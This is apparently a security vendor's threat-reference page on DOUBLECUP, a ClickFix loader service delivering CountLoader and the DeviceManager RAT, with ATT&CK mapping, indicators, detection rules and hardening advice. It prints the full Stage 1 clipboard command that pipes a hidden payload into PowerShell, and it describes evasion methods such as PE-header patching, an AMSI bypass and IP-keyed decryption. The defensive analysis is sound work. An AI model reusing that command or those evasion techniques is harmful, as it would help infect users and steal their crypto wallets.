Home

DOUBLECUP

Loader-as-a-Service · ClickFix · PNG steganography · Windows & macOS · Active since June 2026 ·

Overview

DOUBLECUP is a Russian Loader-as-a-Service that provides ClickFix campaign infrastructure to operators who buy licenses and configure their own lure pages. Active since early June 2026, the service handles steganographic PNG hosting, session tracking, encryption keys, and automated payload rebuilding, while operators supply the phishing pages, embed the generated frontend code, and add any additional obfuscation they choose. Observed campaigns impersonated CRM login portals including NetSuite, Odoo, HubSpot, and Salesforce, injecting DOUBLECUP logic through embedded iframes.

The delivery chain has four tightly integrated steps: the lure page silently forces the victim's browser to cache a steganographic PNG image, copies a browser-specific clipboard command through a FakeCaptcha prompt, executes Stage 1 when the victim runs that command by locating the PNG by exact file size and extracting the payload with standard Windows tools, then runs Stage 2, which derives its decryption key from the victim's public IP address and reflectively loads the final payload in memory without writing any executable to disk.

DOUBLECUP delivers two documented final payloads: an updated version of CountLoader and a previously undocumented RAT named DeviceManager. CountLoader 4.5p is a fileless PowerShell RAT that evades process-based detection by copying and patching the PE header metadata of legitimate Windows binaries, so every command it executes appears to come from a renamed, legitimate-looking process. A Mach-O variant provides equivalent functionality on macOS. DeviceManager resolves its C2 from an Ethereum or Polygon smart contract using the EtherHiding technique and communicates over DNS tunneling that mimics Microsoft telemetry queries. DeviceManager has a dedicated threat reference page at ManageEngine Malware Protection Plus: DeviceManager RAT.

Why this matters for defenders: DOUBLECUP eliminates several detection anchors simultaneously. The payload never touches disk as an executable. The decryption key is derived from the victim's live network address, so any offline or sandboxed analysis produces a different key and fails entirely. Process execution runs under patched copies of legitimate Windows binaries, bypassing both process-name matching and PE header inspection. The FakeCaptcha delivery converts the user into the execution mechanism, making the malware invocation look like legitimate user activity in a parent-process tree.

Verify before relying on this: DOUBLECUP is an active service and operators rotate lure domains frequently. Network indicators expire quickly. Technical details are sourced from independent security research published, operators can rebuild payloads through the service, so hashes will rotate.

Operational attack chain · DOUBLECUP ClickFix-to-payload pipeline

  1. Victim lands on fake CRM login page

    NetSuite / Odoo / HubSpot / Salesforce impersonation with DOUBLECUP iframe.

  2. Session registration + PNG pre-caching

    Browser silently downloads and caches the steganographic PNG. Victim IP logged. Browser-specific clipboard command staged.

    T1016

  3. FakeCaptcha clipboard hijack

    Victim is instructed to paste and run the copied command. Command locates PNG by exact file size, not filename.

    T1204.004

  4. Stage 1: PNG payload extraction

    certutil / findstr / LSB extracts embedded code from cached PNG. Stage 1 signals infection, triggers Stage 2.

    T1027.003

  5. Stage 2: Environmental keying + reflective load

    Victim's public IP used as PBKDF2 key. SHA-256 CTR + XOR decrypts payload in memory. .NET assembly reflectively loaded. Sandbox bypass: wrong IP = wrong key.

    T1480.001T1620

  6. CountLoader 4.5p: PE header patching

    Copies conhost.exe / powershell.exe / mshta.exe, patches PE metadata with legitimate auto-start names. All execution via disguised binaries.

    T1036.003

  7. Dual scheduled-task persistence

    GoogleUpdateService<GUID> + MSEdgeUpdateService<GUID>: wake up, beacon, die. Active for seconds; hard to catch.

    T1053.005

  8. Reconnaissance, wallet theft, secondary payload delivery

    Hardware fingerprint, AV, domain status, crypto wallets, 48 browser extension IDs, Signal Desktop profiled. DeviceManager RAT optionally delivered.

DOUBLECUP converts the user into the execution mechanism. There is no exploit, no vulnerable software, and no external dropper. The entire chain runs through standard Windows tools (cmd, certutil, findstr, PowerShell) invoked by the victim themselves, which means parent-process and command-line telemetry carry more detection value than file hashes or network signatures.

Stop threats before they spread

Detect malicious behavior, contain affected endpoints, and remediate attacks with Malware Protection Plus.

Free for 30 days. Unlimited endpoints. No credit card required.

Sign up

Tactics, techniques, and procedures

DOUBLECUP concentrates heaviest in Defense Evasion, Execution, and Persistence. Its defining characteristic is layered evasion at every stage: steganographic delivery, environmental-key sandbox bypass, reflective in-memory loading, and PE-header masquerading for all subsequent execution. The mapping below covers the full DOUBLECUP loader chain and CountLoader 4.5p. DeviceManager's separate MITRE coverage is documented on its own threat reference page.

MITRE ATT&CK coverageHeavyActiveNot observed
Recon0Resource Dev2Initial Access2Execution6Persistence4Priv. Esc0Defense Evasion6Credential Access0Discovery6Lateral1Collection2C24Exfiltration0Impact0
Technique detailKey techniques · DOUBLECUP & CountLoader 4.5p
TacticTechniquesWhat DOUBLECUP doesDefender telemetry
Resource Development
Domains T1583.001Web Services T1583.006
Operates a licensed panel with multiple utilities and manages infrastructure including steganographic PNG hosting, session and signal endpoints, and payload auto-rebuilding. Uses a Telegram bot (@harrypoterlohBOT) for operational notifications. Operators registered phishing domains impersonating CRM portals (login-netsuite[.]com, login-hubspot[.]com, verification-salesforce[.]com, and others).Newly registered domains with -netsuite, -hubspot, -salesforce, -odoo in the name; Telegram bot activity from build infrastructure; DOUBLECUP license panel exposed at port 9090.
Initial Access
Spearphishing Link T1566.002Drive-by Compromise T1189
Entry is through phishing links directing victims to fake CRM login pages. Observed lures impersonate NetSuite, Odoo, HubSpot, and Salesforce login portals. DOUBLECUP code is injected via embedded iframes into the operator's phishing page. On page load the browser immediately starts pre-caching the PNG; no user interaction beyond visiting the page is required for staging to complete.Proxy/DNS logs for phishing domains; user navigating to a login page that contains an iframe loading a DOUBLECUP /api/config endpoint; browser downloading a large PNG immediately on page load.
Execution
Malicious Copy-Paste T1204.004PowerShell T1059.001Windows Command Shell T1059.003Python T1059.006WMI T1047Native API T1106
The FakeCaptcha places a browser-specific command into the clipboard and instructs the victim to run it. The command uses cmd, for loops with wildcards (pow?r?hell.exe), and findstr or certutil to locate and extract the PNG payload. PowerShell runs Stage 2 and is the core execution engine for CountLoader 4.5p. Python (downloaded as an embeddable package) handles CountLoader's primary persistence task. WMI is used by both CountLoader and DeviceManager for system information discovery.cmd.exe spawned interactively from Run dialog or console; findstr or certutil reading files from browser cache directories; PowerShell with wildcarded binary names (pow?r?hell.exe); embeddable Python package downloaded to USERPROFILE; WMI Win32 queries from a non-system process.
Persistence
Scheduled Task T1053.005WMI Event Subscription T1546.003Shortcut Modification T1547.009Launch Agent (macOS) T1543.001
CountLoader creates two scheduled tasks: GoogleUpdateService<GUID> (primary, runs a downloaded Python environment to re-fetch CountLoader from C2 every 25 minutes) and MSEdgeUpdateService<GUID> (fallback, runs the headless patched conhost.exe to pull and run CountLoader). Both tasks delete their XML definitions after creation. The malware runs briefly every 25 minutes and terminates, making behavioral engines unlikely to catch it mid-execution. DeviceManager includes a WMI Event Subscription mechanism (PythonAppTimer_600 / PythonAppUpdateFilter / PythonAppUpdateConsumer) that uses ctypes COM APIs, bypassing process-lineage detections. The macOS Mach-O variant persists via a LaunchAgent .plist file in ~/Library/LaunchAgents/.New scheduled tasks named GoogleUpdateService<GUID> or MSEdgeUpdateService<GUID> (Event ID 4698); WMI objects PythonAppUpdateFilter and PythonAppUpdateConsumer in root\subscription; .plist files in LaunchAgents referencing pythonw.exe paths; Python 3.13 embeddable package downloaded to USERPROFILE.
Defense Evasion
Steganography T1027.003Environmental Keying T1480.001Reflective Code Loading T1620Rename Legitimate Utilities T1036.003Obfuscated Files T1027Deobfuscate/Decode T1140
Malicious code is embedded in a PNG image cached by the browser and located by file size rather than filename. Stage 2 uses PBKDF2 to derive its decryption key from the victim's live public IP, making sandbox detonation impossible without the correct network context. The final payload is reflectively loaded as a .NET assembly, never written to disk as an executable. CountLoader uses D/Invoke and a custom Regex-based JSON parser to bypass AMSI and avoid monitoring on ConvertFrom-Json. All execution runs through copies of legitimate Windows binaries with patched PE headers. PowerShell command-line obfuscation uses wildcards (pow?r?hell.exe). Stage 2 XOR-obfuscates .NET namespace strings with key 210, reconstructing them entirely at runtime.Browser caching a PNG immediately on page load; findstr or certutil reading browser cache paths; no PE file written before payload execution; schtask or cmd.exe running a binary with a name matching a legitimate auto-start app from a user-writable path; D/Invoke loaded via reflection; AMSI bypass attempts; short-lived process pairs.
Discovery
System Information T1082File and Directory T1083Network Config T1016Security Software T1518.001Query Registry T1012Local Groups T1069.001
CountLoader profiles the victim with WMI Win32_Processor, Win32_ComputerSystemProduct, Win32_DiskDrive (hardware fingerprint), Win32_OperatingSystem (exact OS name), and rootSecurityCenter2/AntiVirusProduct (installed AV). It checks HKLM security descriptors to determine administrator privilege and appends an asterisk to the username if elevated. It checks for Ledger Live in APPDATA paths and scans 45 browser User Data directories for 48 extension IDs (primarily crypto wallet extensions: MetaMask, Binance Chain Wallet, Phantom, and others). It checks for the Signal Desktop application. The victim's public IP is resolved via actor-controlled or third-party APIs (ip-api.com) for both telemetry and environmental keying.WMI queries to Win32_Processor, Win32_DiskDrive, AntiVirusProduct from a short-lived non-system process; reads across 45 browser User Data directories for extension manifests; HKLM MachineGuid read; IP resolution queries to ip-api.com or similar from a process that should not need network location.
Lateral Movement
Shortcut Modification T1547.009
CountLoader includes a USB and network-share worming command (command 9) that scans all connected logical and physical drives, drops malicious LNK shortcuts pointing to mshta.exe to pull and run CountLoader, enabling spread to USB drives and network shares. A separate browser shortcut hijacking capability (currently unused/in development) can rewrite .lnk desktop shortcuts to launch CountLoader alongside the legitimate browser.Malicious LNK creation on USB drives or network shares pointing to mshta.exe; modification of existing browser shortcuts in desktop or Start Menu locations; unexpected mshta.exe launch from a shortcut target.
Collection
Data from Local System T1005Windows Credential Manager T1555.004
CountLoader audits installed browser extensions for 48 cryptocurrency wallet extension IDs across 45 browsers and checks for Ledger Live and other hardware wallet software in well-known paths. It profiles the system for the Signal Desktop application. This reconnaissance data is packaged and exfiltrated to the C2 on first beacon, providing the operator with a wallet and messaging-app inventory per victim before any follow-on command is issued.A short-lived process reading browser extension manifest.json files across 45 browser User Data directories; APPDATA reads for @trezor, atomic, Exodus, Guarda, KeepKey, Ledger Live; APPDATA read for the Signal directory.
Command and Control
Web Protocols T1071.001Symmetric Cryptography T1573.001Ingress Tool Transfer T1105Dead Drop Resolver T1102.001
DOUBLECUP's session endpoints (/session/reg, /session/check, /session/signal) track infection status over HTTP. CountLoader uses an HTTP GET beacon with a random six-digit XOR key prepended to hex-encoded telemetry; responses are a JWT token used for Bearer authorization on subsequent POSTs. Commands are decrypted from hex with the same XOR key and parsed with a custom Regex JSON parser that avoids ConvertFrom-Json monitoring. The C2 can push 11 different command types including download-and-execute, DLL rundll32, MSI install, lateral movement/USB worming, and persistence cleanup. DeviceManager uses EtherHiding to resolve its C2 from an Ethereum smart contract, with ChaCha20 decryption keyed on the contract address as the nonce.HTTP GET to /connect?key1=value1... with a 20-character campaign token; Authorization: Bearer headers in POST requests; eth_call JSON-RPC requests to Sepolia testnet RPC endpoints from a non-blockchain process; outbound DNS TXT queries with long base64 labels ending in .microsoft.com but resolving to non-Microsoft infrastructure.
Reconnaissance / Privilege Escalation / Credential Access / Exfiltration / Impact—No pre-attack reconnaissance, local privilege escalation, or destructive impact has been documented. Credential access is focused on wallet extension enumeration rather than platform credential theft. Data leaves the environment as part of the C2 beacon rather than through a dedicated exfiltration channel.
Stage 1T1566.002 · T1204.004 · T1027.003

How the attack starts

DOUBLECUP campaigns begin with a phishing page, not an exploit. Documented lure pages impersonate CRM login portals (NetSuite, Odoo, HubSpot, Salesforce), using look-alike registered domains (login-netsuite[.]com, login-hubspot[.]com, verification-salesforce[.]com) and injecting DOUBLECUP code through an embedded iframe. When a victim loads the page, multiple things happen in the background before any user action: the victim's public IP is logged, the browser is forced to prefetch and cache a steganographic PNG image served from DOUBLECUP's infrastructure, and the service evaluates the victim's browser User-Agent to select a matching clipboard command.

The FakeCaptcha prompt then instructs the victim to paste and run the copied command. This is the only user interaction required. The command is the entire delivery mechanism. A representative Edge variant looks like this:

Representative DOUBLECUP Edge payload (Stage 1 extraction)
cmd /c for /f "delims=" %p in ('where pow?r?hell.exe') do @for /r "C:\Users\<Username>\AppData\Local\Microsoft\Edge\User Data" %f in (f_*) do @if %~zf==304204 start "" /min cmd /c findstr "ZZ1984" "%f"|"%p" -NoP -W Hidden -EP B -C -

Three elements of this command are worth noting for defenders. The PowerShell binary is referenced with a wildcard (pow?r?hell.exe) to obfuscate it from naive string matching and bypass application-name filters. The PNG is located not by its filename but by its exact file size (304204 bytes in this example), meaning renaming or moving the file does not protect against extraction. The DOUBLECUP service polls for execution confirmation at one to three second intervals; once the victim runs the command, it signals the server which marks the session as infected and redirects the browser to a benign destination page.

Stage 2T1480.001 · T1620 · T1027

What runs on the endpoint

Stage 1 extracts a secondary script from the PNG using certutil, findstr, or Least Significant Bit (LSB) extraction, depending on operator configuration. This script then signals the C2 server and launches Stage 2. Stage 2 is the DOUBLECUP dropper, an obfuscated fileless component that uses XOR key 210 to reconstruct critical .NET class names at runtime rather than storing them as plain strings, preventing static analysis from identifying what the script does by reading its text.

The most significant capability in Stage 2 is environmental keying. Before attempting to decrypt the final payload, the dropper resolves the victim machine's public IPv4 address by querying a list of external IP-echo services. That IP string is passed through PBKDF2 to derive a 32-byte base key, which is then used in a custom SHA-256 Counter mode stream cipher combined with bitwise XOR to decrypt the payload byte array. If an analyst detonates the same script in a sandbox, in an offline environment, or from an IP address outside the operator's target set, the derived key is wrong and the payload remains encrypted. The final payload is validated against a hardcoded SHA-256 integrity hash before execution, providing a further check that decryption succeeded.

After successful decryption, the dropper reflectively loads the resulting .NET assembly directly into the running process's memory. No executable binary is written to disk. The victim is then redirected to the legitimate login page of the impersonated service, and the browser session looks normal to the user from that point on.

Stage 3T1036.003 · T1053.005 · T1059.001

How the malware evades detection

CountLoader 4.5p's primary evasion is in-place PE header modification of legitimate Windows binaries. On execution, the RAT locates conhost.exe, powershell.exe, and mshta.exe in System32, then queries Run registry keys, the Startup folder, and System32 to harvest three legitimate auto-start application names currently on the system (such as OneDrive.exe or svchost.exe). It then copies those three system binaries into a user-writable directory in $env:PATH or $env:USERPROFILE, naming each with a single-character prefix (c for conhost, p for powershell, m for mshta) prepended to the harvested legitimate name. For example, if it harvested OneDrive.exe, the copied powershell.exe becomes pOneDrive.exe.

It then reads each binary's raw bytes and overwrites the UTF-16LE Unicode metadata fields in the PE version resource block, specifically OriginalFilename, InternalName, and FileDescription, with the legitimate application string. All subsequent CountLoader command execution runs only through these disguised copies. A process-name rule looking for powershell.exe or conhost.exe will not fire. A PE header inspection tool will report the binary as OneDrive.exe. Only a hash check or a path-plus-metadata correlation catches it.

The AMSI bypass uses D/Invoke through .NET reflection rather than patching the amsi.dll buffer directly, which is what AMSI-monitoring rules typically look for. The JSON command parser uses a custom Regex implementation ('".*?"s*:s*(".*?"|d+.d+|d+)') to build hashtables without invoking ConvertFrom-Json, which is heavily monitored by EDR products. The persistence cycle is designed around brevity: each task fires every 25 minutes, the process runs for a few seconds, and then it terminates, leaving nothing resident in memory between cycles.

Stage 4T1082 · T1083 · T1518.001 · T1059.004 · T1543.001

What it targets and the macOS path

CountLoader's first C2 beacon includes a comprehensive host fingerprint: a hardware ID combining processor, UUID, and disk serial hashed together; the exact Windows version and architecture; installed antivirus products; username with an asterisk if the process has administrator rights; domain membership; installed Ledger Live and other hardware wallet software; 48 specific browser extension IDs from 45 different browser User Data directories; and whether the Signal Desktop secure messaging application is installed. The operator receives this inventory before issuing a single command, letting them prioritize targets with crypto wallet software or corporate domain membership.

CountLoader supports eleven C2 commands: download and execute an executable, download-unpack-execute from an archive, download and execute via rundll32, delete its own persistence tasks (forensic cleanup), execute a named PowerShell module from C2 in memory, silent MSI installation, a USB/network share worming routine, mshta.exe execution of a remote URL, and PE-patching plus Python-based persistence setup. The command to delete persistence tasks is particularly notable: it suggests the operator routinely cleans up after completing objectives.

macOS path. If a macOS visitor lands on the lure page, a dedicated downloader fetches the Mach-O CountLoader variant compiled as a universal binary for both Intel (x86_64) and Apple Silicon (arm64). Compilation artifacts in the binary reveal it was built on a Windows machine using a cross-compiler. The macOS variant maintains feature parity with the Windows version but adapts for the Apple environment: persistence uses a LaunchAgent .plist in ~/Library/LaunchAgents/ loaded with launchctl, and system profiling runs Unix commands through popen() and system() calls (sw_vers, system_profiler SPHardwareDataType, ioreg -rd1 -c IOPlatformExpertDevice), with curl handling C2 communication.

Process tree

What the DOUBLECUP chain looks like in EDR and process telemetry

Where Malware Protection Plus fits

DOUBLECUP is a browser-to-endpoint attack. The browser-side caching and clipboard hijack happen outside a managed endpoint agent's direct visibility, but the endpoint-side execution is rich with detectable signals. Malware Protection Plus focuses on the Windows-side behavioral chain where detection is reliable regardless of how the payload arrived.

The key behavioral signals are: cmd.exe or PowerShell spawned interactively from the Run dialog reading browser cache paths with certutil or findstr; a short-lived PowerShell process making outbound HTTP requests to IP-echo services immediately followed by encrypted payload decryption; new scheduled tasks named GoogleUpdateService or MSEdgeUpdateService created by a user-process; a Windows binary running from a user-writable path whose PE metadata name matches a known legitimate auto-start application; and WMI queries to AntiVirusProduct, wallet paths, and browser extension directories from a non-system process. Malware Protection Plus can detect these behaviors, isolate affected endpoints to stop the C2 beacon and persistence task from firing again, and capture process lineage and artifacts for investigation.

The environmental keying sandbox bypass and the reflective in-memory loading mean that dynamic analysis of the payload offline is not straightforward. Behavioral detection at the endpoint level, covering the extraction chain and the PE-patched process execution, provides coverage that does not depend on successfully decrypting the sample.

Indicators of compromise

DOUBLECUP operators can rebuild payloads through the service, so file hashes rotate. Durable behavioral and artifact indicators outlast hash rotation and infrastructure changes. Volatile indicators (IPs, domains, hashes) are specific to the August 2026 campaign documentation and should be expected to change.

Durable — process and command patterns

6 patterns

Behavioral chains that persist across payload rebuilds and infrastructure rotations.

  • cmd /c for /f ... where pow?r?hell.exe ... if %~zf==<size> findstr "ZZ1984" "%f"Stage 1 extraction command; ZZ1984 is the findstr marker; PNG located by exact file size
  • certutil or findstr reading files from browser cache directories (AppData\Local\[Browser]\User Data)Stage 1 payload extraction from browser cache; rare in legitimate workflows
  • PowerShell querying ip-api.com or IP-echo service immediately before in-memory payload decryptionEnvironmental keying step; IP resolution immediately before XOR decryption in Stage 2
  • Windows binary (conhost/powershell/mshta copy) running from user-writable PATH with PE metadata matching a legitimate auto-start appCountLoader PE-header patching masquerade; hash-matches a system binary but path is in USERPROFILE
  • Scheduled task GoogleUpdateService<GUID> or MSEdgeUpdateService<GUID> created by a user-context processCountLoader dual-task persistence; Event ID 4698; XML definition deleted immediately after creation
  • WMI AntiVirusProduct + 45 browser User Data directory reads + APPDATA Ledger/wallet checks from one short-lived processCountLoader first-beacon reconnaissance; combined with HTTP GET to /connect?hwid=...&key=K94DGQ99VYCCH52TKOT2

Durable — host artifacts

6 artifacts

File paths and task names reused across payload builds.

  • %USERPROFILE%\Python313\CountLoader embeddable Python 3.13 download path; App.py dropped here
  • %USERPROFILE%\App_<GUID>.pyCountLoader Python masquerading script dropped by persistence task
  • %LOCALAPPDATA%\DeviceManager\DeviceManager RAT installation directory (config.json, agent.log, agent_main.pyw)
  • MicroUpdaterV1 (scheduled task name · DeviceManager)DeviceManager persistence task; PythonAppUpdater as fallback name
  • WMI: PythonAppUpdateFilter + PythonAppUpdateConsumer + PythonAppTimer_600DeviceManager WMI event subscription persistence components (root\subscription)
  • ~/Library/LaunchAgents/[plist referencing pythonw.exe path] (macOS)macOS CountLoader LaunchAgent persistence

Volatile — network indicators

Volatile · rotate frequently

Infrastructure from the August 2026 campaign. Operators rotate lure domains regularly.

  • 213.139.77[.]109 · 80.96.109[.]229 · 167.148.201[.]131 · 89.124.117[.]12 · 103.22.137[.]227 · 146.70.124[.]154DOUBLECUP license panel and server infrastructure IPs
  • 91.92.240[.]100 · 67.219.107[.]181DeviceManager DNS C2 (91.92.240[.]100) · DOUBLECUP payload builder (67.219.107[.]181)
  • login-netsuite[.]com · login-odoo[.]com · verification-salesforce[.]com · login-salesforce[.]com · login-hubspot[.]comDocumented phishing pages injecting DOUBLECUP
  • Smart contract: 0xc027490AF56a9d7050fc259Ecd03DA1580b84aae (Sepolia testnet)DeviceManager EtherHiding C2 resolution contract; eth_call selector 0x1dcf296b

Volatile — file hashes (SHA-256)

Volatile · rotate on payload rebuild

Hashes from documented August 2026 samples. Use as confirmatory signals; the service auto-rebuilds payloads.

  • 882914f9014f14e89123e835f103ac8f9d4b2e358c1f21c1cbc7f1054e6afed6DOUBLECUP client (Go Windows GUI application)
  • 28cbbca8099bb1b27668d135314842c69ceb478a7d6b4b08f063d106a06c8f9dDOUBLECUP Stage 2 / steganographic PNG
  • bdf28e611d77362c40a0445655a35943c03accf21bb9a5af755da7eac5ea5e40CountLoader 4.5p (Windows)
  • 08730fda7366104b1461b12834f55723381bf34a234947689c708b1ee431af69AppleIDVerificationService — macOS CountLoader Mach-O
  • 6e08cb5602f63bee2b40739167b4aef77763bc8fb47b4839ca2fc1607ad35cbaMicroUpdaterV1.exe — DeviceManager installer

Detection guidance

Hash-based detection fails here: payloads are rebuilt on demand, the final executable never touches disk, and CountLoader runs inside copies of legitimate binaries. The detections below are behavioral and survive payload rotation. ClickFix works because the user is the executor, so the parent-process chain is unusually short and the command-line content is the primary signal.

  1. 01

    certutil or findstr reading browser cache directories

    Process / command-line telemetry

    Alert on certutil.exe or findstr.exe reading files from browser cache paths (AppData\Local\Microsoft\Edge\User Data, AppData\Local\Google\Chrome\User Data, equivalent paths for Firefox and Brave) especially when invoked from a cmd.exe spawned interactively or from the Run dialog.

    Why it works: certutil and findstr have legitimate uses, but reading binary files from browser cache directories is not among them. This command pattern is specific to DOUBLECUP's PNG extraction step and is consistent across browser-specific variants, with only the cache path and file size differing.

  2. 02

    PowerShell wildcards in system binary names (pow?r?hell.exe)

    Process / command-line telemetry

    Alert on command-line strings containing wildcarded references to PowerShell (pow?r?hell.exe, p*ershell.exe, or similar one-character substitution patterns), particularly when appearing in cmd.exe command lines with for-loop file enumeration.

    Why it works: wildcarding the PowerShell binary name is specifically designed to bypass allow-list rules that check for "powershell.exe" as a literal string. This pattern does not appear in legitimate administrative scripts and is a reliable signal of deliberate evasion.

  3. 03

    IP-echo service resolution immediately before in-memory XOR decryption

    Network / process telemetry

    Alert on outbound HTTP or HTTPS requests to IP-echo services (ip-api.com, api.ipify.org, checkip.amazonaws.com, or similar) made by a PowerShell process that was itself spawned from cmd.exe within seconds of a browser cache file read. The IP resolution followed rapidly by large array operations in the same process is the environmental keying sequence.

    Why it works: legitimate PowerShell scripts running from a user interactive session rarely need to resolve their own public IP address as a prerequisite to performing other operations. This sequence is specific to Stage 2's environmental keying step.

  4. 04

    Windows system binary running from user-writable path with mismatched PE metadata

    Process / file telemetry

    Alert on executables that hash-match a known Windows system binary (conhost.exe, powershell.exe, mshta.exe) but execute from a user-writable directory (USERPROFILE, AppData, PATH outside System32). Correlate with PE header metadata that differs from the binary's expected OriginalFilename.

    Why it works: CountLoader copies and patches these binaries specifically to evade process-name rules. The combination of "this hash is a known binary" and "this binary is running from the wrong path with patched metadata" is a high-confidence masquerade indicator.

  5. 05

    Scheduled tasks named GoogleUpdateService or MSEdgeUpdateService with GUID suffixes

    Task scheduler / Event ID 4698

    Alert on Event ID 4698 (scheduled task created) where the task name contains GoogleUpdateService or MSEdgeUpdateService followed by a GUID, especially when the task action runs Python from a USERPROFILE path or a patched copy of a system binary. Also alert when the task XML file (%TEMP%\t.xml or similar) is created and deleted within seconds.

    Why it works: CountLoader uses these specific naming patterns to impersonate Google and Microsoft update services. Legitimate update services do not append a random GUID to their task names, and they are created by system installers rather than user-context PowerShell processes.

  6. 06

    WMI event subscription objects created without wmic.exe or PowerShell in the process tree

    WMI / kernel telemetry

    Alert on creation of WMI objects in the root\subscription namespace (CommandLineEventConsumer, __EventFilter, __FilterToConsumerBinding) where the creating process is Python (pythonw.exe) rather than wmic.exe or powershell.exe. DeviceManager uses ctypes COM APIs directly to create these objects, bypassing process-lineage rules that look for wmic.exe spawning WMI subscriptions.

    Why it works: WMI event subscriptions created by a Python process are anomalous in any enterprise environment. Using ctypes to interact with COM APIs is a deliberate bypass of process-lineage detection; monitoring the WMI namespace modification itself rather than the process creating it catches this.

  7. 07

    eth_call JSON-RPC traffic to Ethereum RPC endpoints from non-blockchain processes

    Network / proxy telemetry

    Alert on outbound HTTPS connections carrying eth_call JSON-RPC method calls, particularly to Sepolia testnet or Polygon RPC endpoints, from endpoints that have no documented blockchain development workload. DeviceManager also produces DNS queries where subdomains end in .microsoft.com but resolve to non-Microsoft IP addresses.

    Why it works: EtherHiding is specifically designed to make the C2 address invisible by storing it on the blockchain. The blockchain query itself is the only networkable artifact that does not change with infrastructure rotation. DNS TXT queries ending in .microsoft.com resolving to non-Microsoft infrastructure are also anomalous and persistent across C2 rotations.

  8. 08

    Embeddable Python 3.13 package downloaded to USERPROFILE by a scheduled task

    Network / file telemetry

    Alert on download of a Python embeddable package (python-3.13.*-embed-*.zip) to a user profile directory, particularly initiated by a scheduled task rather than a software installer. The extraction of pythonw.exe from this package into USERPROFILE\Python313 is a durable CountLoader persistence artifact.

    Why it works: downloading and extracting a Python runtime into a user profile directory from a scheduled task is not a behavior of any legitimate Python installer. It is specific to CountLoader's primary persistence mechanism and provides a durable signal that survives persistence task deletion.

Hardening and response recommendations

DOUBLECUP depends on users running clipboard commands, standard Windows utilities accessing browser cache, and Python installing freely into user-writable paths. The controls below target those dependencies. Quick win = single configuration change, deployable in days. Standard = needs a rollout or architectural change, deployable in weeks.

  1. Educate users on ClickFix / FakeCaptcha lures

    Quick win

    DOUBLECUP has no exploit. The only mechanism that triggers execution is a user pasting a command they were told to run by a website. Training users to recognize that no legitimate CAPTCHA or browser verification requires running a command in the Windows Run dialog or terminal removes the single step the entire chain depends on.

    Do: include ClickFix scenarios in security awareness training using examples similar to DOUBLECUP's fake CRM login pages. Users should know that no CRM or cloud service will ever ask them to open Windows Run and paste a command as part of a login verification step.

  2. Block or restrict execution from user-writable PATH directories

    Standard

    CountLoader stages its patched binary copies in directories under USERPROFILE that appear in PATH. Application control policies (AppLocker or WDAC) that restrict executable loading from user-writable locations prevent the patched binaries from running, even if CountLoader successfully copies and patches them.

    Path: configure AppLocker or WDAC Executable rules to deny execution from USERPROFILE, AppData, Temp, and other user-writable directories for all users who should not be installing software. This also blocks the embeddable Python persistence mechanism.

  3. Restrict certutil and mshta.exe from accessing browser cache paths

    Standard

    certutil.exe and mshta.exe are Windows built-in tools frequently abused as LOLBins. Blocking certutil from reading files in browser User Data directories and restricting mshta.exe to network-isolated contexts removes two of the three Stage 1 extraction methods DOUBLECUP supports.

    Do: apply WDAC rules that prevent certutil.exe from opening file handles in AppData\Local\Microsoft, AppData\Local\Google, and equivalent browser cache paths. Monitor mshta.exe for any execution not traceable to a documented application installer.

  4. Enforce PowerShell Constrained Language Mode and AMSI logging

    Standard

    CountLoader 4.5p uses D/Invoke and custom Regex parsing specifically to bypass AMSI and avoid monitored PowerShell cmdlets (ConvertFrom-Json). PowerShell Constrained Language Mode and full script-block logging increase the cost of fileless PowerShell execution and preserve forensic evidence of what ran.

    Path: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on Script Block Logging. Deploy Constrained Language Mode via WDAC or Applocker for non-developer users. Script block logging should write to off-host storage so clearing local logs does not destroy the record.

  5. Block outbound access to blockchain RPC endpoints from managed endpoints

    Quick win

    DeviceManager's EtherHiding C2 resolution requires reaching Ethereum or Polygon RPC endpoints over HTTPS. Endpoints without a documented blockchain development workload have no legitimate reason to connect to these services. Blocking outbound HTTPS to known Ethereum public RPC URLs at the proxy or firewall removes DeviceManager's C2 discovery mechanism.

    Do: add Sepolia, Polygon, and Ethereum mainnet RPC endpoints (eth-sepolia.g.alchemy.com, rpc.ankr.com, infura.io, and similar) to a deny-by-default proxy category for non-developer endpoints. This does not affect normal business traffic and is a high-confidence block for this specific threat.

  6. Respond: isolate, hunt persistence artifacts, rotate credentials

    Quick win

    On suspected DOUBLECUP activity, isolate the endpoint before remediation to prevent the 25-minute scheduled task from beaconing again. Hunt for all four persistence forms: GoogleUpdateService/MSEdgeUpdateService scheduled tasks, WMI root\subscription objects (PythonAppUpdateFilter, PythonAppUpdateConsumer), LaunchAgent plist files (macOS), and embeddable Python in USERPROFILE. Review and rotate any credentials stored in browser profiles, including credentials for any crypto wallets or services the victim uses, as CountLoader enumerates and reports on wallet-related extensions and software during its first C2 contact.

    Do: preserve PowerShell script-block logs, scheduled task event logs (Event ID 4698/4702), and WMI subscription objects before remediation. These are the primary forensic record when no executable payload remains on disk.

Primary references

Source material this page is built on. Technical claims trace to the original security research published in August 2026. MITRE ATT&CK provided the technique framework. Reviewed through August 24, 2026.

Detect DOUBLECUP's ClickFix-to-payload chain before CountLoader installs.

Malware Protection Plus helps security teams detect browser-cache extraction, reflective loading, PE-header masquerading, and anomalous scheduled-task creation on Windows and macOS endpoints, and isolate affected systems before the persistence cycle completes.

Start free trial →